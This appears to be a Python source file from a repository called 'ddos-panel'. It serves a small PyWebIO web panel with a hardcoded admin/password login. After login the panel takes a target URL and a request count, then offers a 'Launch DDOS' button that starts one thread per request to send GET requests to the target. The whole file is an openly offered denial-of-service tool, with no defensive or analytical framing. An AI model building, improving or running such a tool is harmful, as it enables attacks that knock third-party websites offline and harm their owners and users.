Files
ddos-panel/site.py

75 lines
2.4 KiB
Python
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import asyncio
import multiprocessing
import threading
import requests
from pywebio.input import input, TEXT, PASSWORD, NUMBER
from pywebio.output import put_text, put_button, clear, put_error, put_success
from pywebio import start_server
import aiohttp
import time
def send_multiple_requests(url, num_threads):
"""
Отправляет указанное количество запросов к заданному URL, используя многопоточность.
Обрабатывает исключения и включает паузу при ошибках.
Args:
url: URL, к которому отправлять запросы.
num_threads: Количество потоков.
"""
threads = []
for i in range(num_threads):
thread = threading.Thread(target=send_single_request, args=(url,))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
def send_single_request(url):
while True:
try:
response = requests.get(url)
print(f"Request sent! Status code: {response.status_code}")
break # Выходим из цикла после успешного запроса
except Exception as e:
print(f"An error occurred: {e}")
time.sleep(1)
async def authenticated_page():
put_text("Вы успешно авторизовались!")
url = await input('URL сайта (с http:// или https://)', type=TEXT)
try:
num_requests = int(await input('Количество запросов', type=NUMBER))
except ValueError:
put_error("Некорректное количество запросов.")
return
put_button("Запустить DDOS", onclick=lambda: send_multiple_requests(url, num_requests))
async def login_page():
while True:
username = await input("Логин:", type=TEXT)
password = await input("Пароль:", type=PASSWORD)
if username == "admin" and password == "password":
clear()
await authenticated_page()
break
else:
put_error("Неверный логин или пароль.")
clear("login")
async def main():
clear()
await login_page()
if __name__ == "__main__":
start_server(main, debug=True, port=9999)